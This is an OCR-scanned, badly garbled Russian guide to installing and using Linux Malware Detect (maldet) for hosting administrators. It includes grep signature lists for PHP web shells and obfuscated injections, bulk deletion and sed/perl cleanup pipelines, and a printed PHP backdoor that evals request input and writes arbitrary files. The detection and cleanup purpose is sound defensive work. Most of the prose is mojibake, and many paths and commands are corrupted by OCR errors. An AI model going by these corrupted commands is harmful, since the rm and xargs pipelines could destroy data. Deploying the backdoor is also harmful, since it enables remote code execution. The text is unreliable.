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BYD¥:D,N-b° D2D, NENfND¥iD? N B¢ DYiDYsD¥iN%NENZ Linux Malware Detect
D'D?bub bub¥2b bu

Linux Malware Detect (LMD) B ,D»D_ maldet - NN, D4

NeD¢DuNTD,D°D»D,D-D NED¥:D2D°DY:2DYaND! B DY:NeN,NEN FDYDUDY2N, B D»Ne

D¢ b¥D NeboD° D2D NENfN+D¥:D2, NeD¢ D°DYi-NeDNED D¢ N, D¥D2, D2Dub+-N"Dub»D»D¥4D2
D, B¢ NEPYNTDUD3DYs D2NEPUD DY4DY2D¥aNDY2D¥:D3D ¥ PeD¥D D° D2 N, D°PD»D°N...
NeD°DiN,D¥:D2.

DzbY% BYD¥DIDUN, Neb¥:D - D°D2D°N,NE B¥:N,N+DuN,N« B, D»DuN+b, N,NE

b bvN,D N1D NED¥D2D°DY:DY:NDu N,D°DD»N«.

DEN-N,D°DY2D¥.D?D°D°

D£NN,D°D¥:D¥D2D°D° B'P»Ne CentOS B, Debian B¥D D D¥%:D°P°D¥4D2D°: cd / r oot
wget http://ww rfxn. com downl oads/ mal detect-current.tar.gz
tar -zxvf mal detect-current.tar.gz
cd nal detect-*/
bash install.sh

DENN,D°D¥:D¥:D?D¥iN1DY:ND! NeDONED, B¢ N, D°D»D°D DN, B,Neb¢,D¥iD»DYeN-DupYaNbD?
N,D°D'D» B2 /usr/local/maldetect/maldet B, B*Bub»b°buN, B¥2D° BY2Dub3D¥s
Neb DYsD2D¥:D»D NEDUN*D°NfNZ NeNeN<D»D°Nf /usr/local/sbin/maldet.

Dep°PDTDU NeDoNED D¢ N, NeD¥D-D D°PuN, N, D°DD» /usr/lib/libinotifytools.so.0.
Dib¥%D-D'D°DuN,NeNe Db IBUD DY:DUD2DY:2D 4D cron-D-D°D ' D°DY:D P b2
/etc/cron.daily/maldet

DiN€D°D-Nf BDIDU D¥D+DY:D¥:D2D»NeNZN,NeNe D+D°D-N< Neb D3DY:D°N,NfNE.
D3b¥bYaN, D, D3N fFNED°NTD, D¥DY:DY:NDt N,D°DPiD»: /usr/local/maldetect/conf.maldet
DE£D D°D»Dub¥:D B D¢ NEDYDINED PY4DYaN< No NeDUNED2DUNED®: rm - r f
fusr/local/mal detect/ /etc/cron.daily/maldet /usr/local/sbin/naldet
/fusr/local/sbin/lnm

D"NeD ¢ D¥:D»NED -D¥D2D°DY2b bu
D—D°D¢ NfNeD° NeD°D°DY2D NED¥:D2D°DY2D Ne NeN,D°DY2D D°NEN,DY2NN... B¢ NfN,Dub?,

DuN«D»D, Nf D2D°Ne Nf NN D°D¥2D¥D2D»Pub¥2D° D¢, D°DYDub»NE
NfD¢NEDD2D»Pub¥2b Ne ISPmanager: nmal det -a /var/ww/ */ dat a/ www

Dip°D°PY:D Ne€D¥:D2D°N,NE N,p¥D»NEDDY: N,D°DD»N¢, B D-DY:DubY:pub¥:D¥:Ndu B-D°
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D¢ D¥NeD»Dub BY%:D By 5 D' DY%Pubt: nal det -r /var/ ww/ */ dat a/ ww 5

DYD¥% B-D°D2DUNENDUDY:D D, NeD°D°P¥2D NE€D¥:D2D°DY:2D, Ne DN D DuN,
D2ND2DuD DubY2D¥s D¥:D+N%Dpubp DeD¥:D»D NiDuNeN,D2D¥4

D¢ NeD¥NDD°DY2D NEDYD2D°DY:DY:NN. .. N, D°DD»D¥D2, D°D¥:D»D NiDuNeN,D2D¥4
b b¥:N, D NtD NeD¥:D2D°DY:DY:NKN... B, BeD¥D»D NibuNeN,D2D¥,

D D-D»buNDup¥p:NK... N,D°D1D»D¥iD2.

P¢b°pepbu BNfD DN, D2ND2DuD PubYs BY:D¥:DY:DuNE YN ,N+DuN,b°,
PPN, DNEND! DYLDYDTIDY2DYs D¢ DYNDY4DY4N,NEDUN,NE DoD¥DYiD°DY2D D¥4D?,
PY:D°P¢ NED DY4DUNE: mal det --report 040515- 0743. 23617

P7D+bY:D¥:D2D N,NE D+D°D-N¢ Neb D3p¥2D°N,NfNE: nal det -u

DYPUNEDUPYDUNN,D N,NE D¥%:D°PD DubY¥:bY:Ndu B-D°NEDDIDUDY2DY:NDu N,D°D1D»N¢
b2 Bb°D°N€D°DY2N,D DY (D2 B°D°N,D°D»Db¥:D3 /usr/local/maldetect/quarantine): mal det -q
040615- 0925. 31477

D’'NeN,D°N%D N,NE N,D°DD»N< B, D- B°D°NED°DY2N,D DY:D°: mal det -s
040615- 0925. 31477

BYNeDY:D+D¥%:D2D°N,NE D¥:ND,NN.D,N,NE b-D°NED DIBOPDY2DY:NDU N,D°DD»N< BN,
D2NEDUD DYDYDYNDYNN. .. D2N+N,D°D?D¥:D° D°D¥:D D°: el det -n 040615- 0925. 31477

D"P¥:D+D°D2D N,NE D2NEDUD D¥DY2D¥:NDY:ND! DoD¥:D” D2 D+D°D-Nf Neb D3p¥:D°N,NfNE
maldet: mal det -c badfil e. php

DeP°NeN NED34DLDOP°

D+D°NeN,NED¥:D DY, D°P2N,D¥:DY4D°N,D, N1DuN«D°D D1 D-D°D¢ NfNeD° maldet D¢, DV
PuDTEUD DYDuP2DYD¥DYaNf NED°NeD ¢ D, NeD°PY2D NZ cron.
DYNED°D2D BYs PoD¥:DY:N, D D3 /ust/local/maldetect/conf.maldet: # BuNe D»D, N..BYN, D, BV4
D ¥D» Nf K:5° K, NE Nf £2 bub’ BvBvE»bubvb, Ko BVE° B DYREN, Nf

emai | _alert=1

emai | _subj ="mal det alert from $(hostnane)"

emai | _addr =" £° K B° @:b¥REN £°. cont

# Debybvbuluee N, NE N, B° Bt b»fk 82 £° £° RER° BVN, D, BV

quar _hits=1

# D, Ne D.DYD»NID- Nfbubvs & B2 D, BTBYE® cl amav B D»Re  Kf Ke £° BYNEDUDYD, Ne
D BYD, Ke £° B°

cl amav_scan=1

D'DY:D¥uN«D DY, B D-DY:Dub¥:buby2D Ne B2 crontab-N,D°DD» B D»Ne N.D¥4D3D s,
N1N,D¥:D£N< Nb°D°DY2D,NEDY:D2D°D»D,N-NE B'D,NEBUD°N,DYNED, B, Ne NeD°DN D°DYiD,
D¢ NED, NfNeN,D°D¥%:D¥D2D»Pub¥:D¥:D¥4DY4 ISPmanager: vi /et ¢/ cron. dai | y/ mal det

DED D°D»NebpbYs NeN,NEDYDD, D¢ D¥NeD»Du: i f [ "$(ps -A --user root -o "comi' |
grep inotifywait)" ]; then
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/usr/local /mal detect/ mal det --alert-daily >> /dev/null 2>&1
el se

D'NeN,D°D2D»NeDpbva: # KN B ovD £° ReN DA by BeNFN B, | SPmanager
if [ -d"/var/ww' ]; then
fusr/local /mal detect/ maldet -b -r /var/ww/ ?/data/ww 2 >>
[dev/null 2>&1
fi
fi

DYNEDYD?DUNEDCD° N, D°DD»D34D2 NeD°DN,D¥D? D+Dub-
N NelN. ") 20) Y40 D). LinuxX Malware Detect 2p)°
NeD UNED-DUNLE
cd /root
wget http://ww.rfxn. com downl oads/ mal detect-current.tar.gz
tar -zxvf mal detect-current.tar.gz
cd mal detect-1.4.2/files

D£NN,D°D¥:D°D2D»D D2D°DubYs B-DY:D°NiDub¥:D By D¢ DUNEDUDYDUDY2DY2DY4D! D D»Ne
NED°D-NEPUNDuDY:D, Ne B-D°D¢ NfNeboD° NeD°N€D D¢ N,D° DN,
D¢ DYD»NED-D¥:D2D°N,Dub»Ne: vi conf . mal det

public_scan=1

D™D -DYiDub¥eN-DubYs D°D°N,D°P»D¥%:D3, BONfD'D° D' DYD»DID%D° o
NfRNN,D°D%:D°D2D»D,D2D°N,NEN-N D¢ NEDYDNED DY:DYD°, BY2D° N,DUDN fN%0D, D?
D°D°N,D°D»D¥D3. DYNED°D2D DY, N+D°NED D¢ N, maldet: vi mal det

PebubY:NeDbubY4 i nspat h=/ usr/ | ocal / mal det ect

P¥2D° i nspat h=$PWD

D—D°D¢ NfNeDP°Dub¥s maldet B¢, NENDY:DY D D- B'D,NEPUD°N,DYNED D,
[root/maldetect-1.4.2/files: . / mal det -h

YR4E. 00 NeRoNED BN D¥D2,
T R R

D3P¥YDY.D°DY:D D°, D°P¥N DYNED°Ns BY2Du NfFD'D°D»D N, BB NiDub3D¥,
P»D N'D¥%Pub3p¥s: # grep -Rils --include=*.php -e ' n7bOecdff' -e
" COmM mKGE zc2VOKCRf UE9TVFsi Y29k' . /* | xargs rm

D-N,D° D°D¥DY4D°DY2D ' D° BY%:D°DD DN, D2D¥:D-DY:D¥DTDY2NDu

NeD¢ D°DY4-NeD°NED D¢ N,N¢ D, NeD¥%N...NED°DYD N, D, N... NeD¢ D Neb¥%:D° D2 N,D°DD»
spam_scripts D2 B'D NEPUD°NDYNED . D, B30 Dy 2N« NeDubNiD°Ne

YD °N...D¥%D D, NPuNeNE: # grep -Rils --include=*.php -e ' @ennillist=$ POST' -e
"$emai llist=" -e '$smp_usernane='" -e '$sntp_password='" -e 'Sender Anonym Enmail'’
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./* > spamscripts

D-N,D° D°D¥DY4D°DY:D D° BY:D°DD DN, NED°D-D»D, NiD%:NDu
D+b¥N,DYDuN,D¥:D2Nb°b b NEPUD D NE€PUP°N,N¢, B, Neb%N...N€D°D¥:D N, B N...
NeD¢ D NeD¥4D° D2 N,D°PiD» redirects D2 D'D NEPUD°N,D%NED D, 3D D D2N<« NeDpupiNtD°Ne
PY:D°N...D¥%D D NDuNeNE: # grep -Rils --include=*.{php, htmhtni} -e

"if(md5(nmd5($" -e 'hl>Loading...' -e 'b>Please wait a nonment ... You will be

f or war ded.

<' -e'... Please wait...</h3" -e 'You are here because one of your friends has
invited you...

Redirecting...' -e 'bankofanerica' -e 'http://hellosoneguys' -e
"rldailynews.com -e 'http://.*doctor.*.com -e '--81a338--' -e '; it.src ="

./* > redirects

D’ NEPUD-NfD»NEN,D°N,Du D2ND ¢ DYD»DYDuby2D, Ne NeN,D,N... PoD¥DYiD°DY2D’, 2N«

D¢ b¥D»NfNED N,Du D' D2D° Neb¢ D, Neb°D° N,D°P1D»D¥:D2, D°D¥N,DYNENDU
PDY:PUP¥D+N... YD D DYDY D2NENFNIDYNFNZ B¢ NEDY:D2DUNED N,NE: DuN«D»D,
NeNEPUD B, P¥%D N... P¥%DuN, BDY:NFDIDY:NK... N,D°DD»D¥:D2?, N.D¥: D2N« BY:D¥:DIDuN,Du
I;%;)'.EPD»E) N,NED2N+Du K,D°DD»N« D D- NeD¢ R, NeDoD°.

34D NS °D-D»D Nib¥%NKN... malware
DRED DN BYDY

D-N,D° D°D¥DY4D°DY:D D° BY:D°PD DN, Shell'N¢« B¥:D° Nep°DN.D°N..., D,
NeD¥%N...NeD°PY%D N, D N... Neb¢ D, NeD¥:D° D2 N, D°DD» malwarel D2
DD NePUP°N,D¥NED D, DD D D2N<« NebubN1D°Ne DD N...D¥D D, N,DUN-NCE.

D¢b°Pe pop°p° N,D°D°P°Ne PoD¥:DY:D°DY:D D° BYD¥DIDuN, B-D°DY:N«N,NE

D D¥%DD¥D»NEDY:DYs D¢ NEDYD DYD»DTD N, Dub»NEDY:D YD D2NEDUDYANe,

D¢ D¥NeN,D¥DYNF D2 Dubu DoD¥:D%:NTDu NeN,D¥%:D N, B-D¥%:D°P° &, NeN,D¥4

D¢ D¥:D-D2D¥:D»D N, D¢ NEDYD D¥:D»DTD N,NE NEP°D+D¥:N,Nf Ne DoD¥:DY:NeD¥4D»NENZ.
# grep -Rils --include=*.{php,htmhtm} -e 'FilesMan' -e 'b=4594"' -e 'e2aade' -e
'vb8f57b98 = 0' -e 'forexam@andion.im -e 'pathToDomai ns'

A -e 'if(navigator.userAgent. match(' -e 'var vst = String.fronCharCode' -e
"Menu_files/jquery.js' -e '"i5463 == null' -e 'r57.gen.tr' -e '/rsize.js' -e

' f eel t hesane. changei p. nane' -e '40, 101, 115, 110, 98, 114, 105, 110" -e 'c99sh' -e
"Shell by' -e ' sh ver' -e '.tcpflood -e 'c999sh' -e 'Array(base64 _decode' -e

A ' Attacker Perl File' -e 'bogel ="' -e '(!function_exists("getmcrotime"))'
-e' $d=substr' -e "WBO ' -e 'r57shell' -e 'nmeg=
@zi nfl at e( @ase64_decode( @tr_replace' -e '6PCkioji Or7i Y3nslrn8' -e
nmysql _safe' -e 'sql2_safe' -e 'aHROcDovLzE3OCAyMIEU' -e 'php function ' -e
" encodeURI Conponent (docunent . URL)
-e "; if(isset($_REQUEST' -e 'UdpFlood'" -e 'udp://1.1.1.1" -e ' (nmd5($_POST['

-e 'header("Location: http' -e 'fx29sh_' -e 'c999sh_surl' -e 'c99sh' -e
"/request12. php' -e
A ' Nl OThnmM gyCDMDNj kyODdi YT' . /* > mal warel &

B-N,D° DD¥:DY:D°D¥:D D DY:D DD BN, NED°D-D»D,N+DYsNDu malware B2 php
N-B°NED, D¢ N,D°N... DY%:D° NeD°DN.D°N..., B, N+D¥N...N€D°DY:D,N, B,N... NeD¢ D, N-D¥:D° b2
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N,D°DiD» malware2 B2 DD NEPUPN,DYNED D, DD D D2N<« NebubNtD°Ne
PY%:D°N...D¥D D NDuNNE. B’'ND ¢ DYD»DYDubysb, Dy NeN, DDt DoD¥:DY:D°PYD N¢, N,D°P°
DB B°P°D° B, B¢ NEPUD ND N fN%eDub?, BY:D¥:DIDuN, B-D°DY:aNeN,NE

D¢ NEDYD BYD»DID N, Dub»NEDY:DY:Du D2NEPUDYaNe, D¢ DYaNeN,DY:DYNf D2 Dubp
Pob¥DYNTPu NeN,D¥:D N, & # grep -Rils --include=*.php -e ' JGWZGJPSBi YXNIN' -e
"Dl cnd' -e 'eval (gzinfl ate(base64_decode' -e

"eval (gzinflate(str_rot13(base64_decode(' -e 'eval (gzunconpress(base64_decode('
-e "eNrtfW 72zbS6OF 6VyBcZSk1luvi SS2vFTIl 1Haf ' -e

" JpdGvDbh25k| CV7 SFRUUF9VUOVSXOFHRUS' -e ' JHNoX2I ki DOgl | d5QAaR0ZuW JWeUW95Q - e

' sDdphXZgsTKAdSYnsFVTO9EUf RCI ' -e ' QBDB51E25BF9A7F3D2475072803D1C36D

-e 'Yzk5c2hl bGwcCGhw -e ' aHROcDovL3d3dy5zb21l LWNZGW ZXhwh&@pdHVMUYW - e
"aWrgKChwenvnX21hdGNoKCcvdGvadFwdnbkL' -e ' F gsDdphXZgsTKog2clx' -e

" QG ey X3Jl c@ydd uzZygwKTsg' -e ' JHNoX2l kI DOgl | QzZHvaVv1'

-e '"rU 6QtVEPS8Ifoflr' -e 'jVNtTIt ADP4' -e ' c2VOX3RpbW/f' -e

" UFycnF5KGIhc2UZNF9KZWNV ZGUJo' - e ' pZLf asMgFMovB3sHK4Uol LKNXa3r' -e ' nVNdi 9swEHW
-e "JH 5eUsCTnJLZk5TeUdyaX -e 'JZvHbsRI | kX39SNdBS50kwbdOwVen'

-e '8<[ @MALKMs' -e ' DVULEUQGEHYO70gBWKst' -e ' @32LKMs' -e ' ¥ gsDdphXZgsTKog'
-e ' ZGVmaWb! KCdBSOl TTUVUXL' ./* > malware2 &

D-N,D° BD¥DYsD°DY:D D° BY:D°DD PN, NED°D-D»D, NiD¥%:N®dp malware D2 java
NeD°NED D¢ N,D°N... P¥%D° NeD°PiN,D°N.... DiD¢ D NeD¥:D° D2ND2Dub DuN, NeNED°D-Nf: #
grep -Rils --include=*.js -e ' YBCWY3%63% 2% 9% 097 4%20%7 494997 0" -e

" kSKI BXYj NXZf hSZwF2YzVnblh' ./ *

SRS EBIN B R D orasR s, over

BYD%ND»Bp B¢ D¥D»NfNIDUDY:D,Ne NeD D ,N+DD° B-D°NEDDIDUDYDYNN. .
N,D°DD»D¥:D? BY2D°NeN,D°D»D¥s DANEDUDYiNe D N... B¢ D¥%NTD,NeN,D,N,NCE.

malwarel: cat malwarel | grep -v 'public_html' | grep -v 'webstat' | xargs grep
-Rils "Filesvan' |

xargs grep -Rils "sDdphXzZgsTKddSynsF" | xargs sed -i "" -e "/auth_pass =/d" &
cat malwarel | grep -v '"public_html' | grep -v '"webstat' | xargs grep -Rils
"Fil esMan' |

xargs grep -Rils "sDdphXZgsTKddSynsF" | xargs sed -i "" -e

"/ sDdphXZgsTKddSYnsF/ d" &

cat malwarel | grep -v '"public_html' | grep -v 'webstat' | xargs grep -Rils
"FilesMan' | xargs rm &

DiD»DubD NfNZN%D°Ne DoD¥:DY:D°D¥:D D° NfD D°D»NeDuN, NeD°N€ED D¢ N,N¢ Ne
D¢ b¥D D¥D+DY:NPDYs DODY4D DYaDYa: <?php $awf f =
"a9bh193d36245f c6a750a75eb594a3c70"; if(isset($_REQUEST[ 'vpyu'])) { $Swwiogi =
$ REQUEST[ ' vpyu'];

eval ($wwyi oqi); exit(); } if(isset($ _REQUEST['yccqdyb'])) { $nmhvwg =
$ REQUEST[' qgi pseeqy'];

$mvwj nec = $ REQUEST[' yccqdyb']; $g9fcked = fopen($nvwjnec, 'wW); $qllnske =
fwite($gf cked, $mhvwg);
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fcl ose($gf cked); echo $qllnske; exit(); }?>
cat malwarel | xargs grep -Rils ' = fopen($' | xargs grep -Rils ' = fwite($ |
xargs rmé&

D3D¥DYD°DY:D D°, B°D¥:N D¥NED°Ne NfD D°P»D N, D2Dub+-N"Bub»P»N«¢ FilesMan: cat
mal warel | xargs grep -Rils "FilesMan' | xargs grep -Rils "auth_pass' | xargs rm
&

DibY:D¥%N,NED DY D D»Ne DoD°DID B¥D3D¥: D¢ D°N,N,DUNEDYD° B, B¢ D% N...D¥D Nf
D»D D+b¥% NiD NeN,D, DY4 N, D°DD»N¢, D»D D+D¥% NfD D°D»NeDubYs. cat mal war el |
xargs grep -Rils 'b=4594"

malware2:

P&§D NeN,D°P° B°D¥:D B° B¥N, D2D¥D-DViD¥:DIDY:NK. .. D2NeN,D°D2D¥:D0: cat mal ware2 |
xargs grep -Rils 'DQplcnd' | xargs perl -pi -e

's/eval (base64 _decode("DQpl cn. *f QK Q=="));//g" &

cat malware2 | xargs grep -Rils 'DQlcnd'" | xargs perl -pi -e
' s/ eval (base64_decode(" DQpl cn. *CnONCn0="));//g" &
cat malware2 | xargs grep -Rils '"D@lcnd" | xargs perl -pi -e

's/eval (base64_decode(" Dl cn. *DQp9DQ9"));//g" &

Bip¥sD¥%N,NED,DY: DD DD ND! D¢ D°N,N.DUNEDY: DYN,D BUb»NEDY:D% D, N,D°D°DTDu
D»D D+b¥: NiD,NeN,D,DVs, D»D DD NfD'D°D»NeDubY, N,D°DD»: cat nmal warel | xargs
grep -Rils

"B N N BuNeEDY: B, B E? N, BYNEDYD: B D»D, BVBvEYDr B BvEvE B N B, BB NFBVEP N, B
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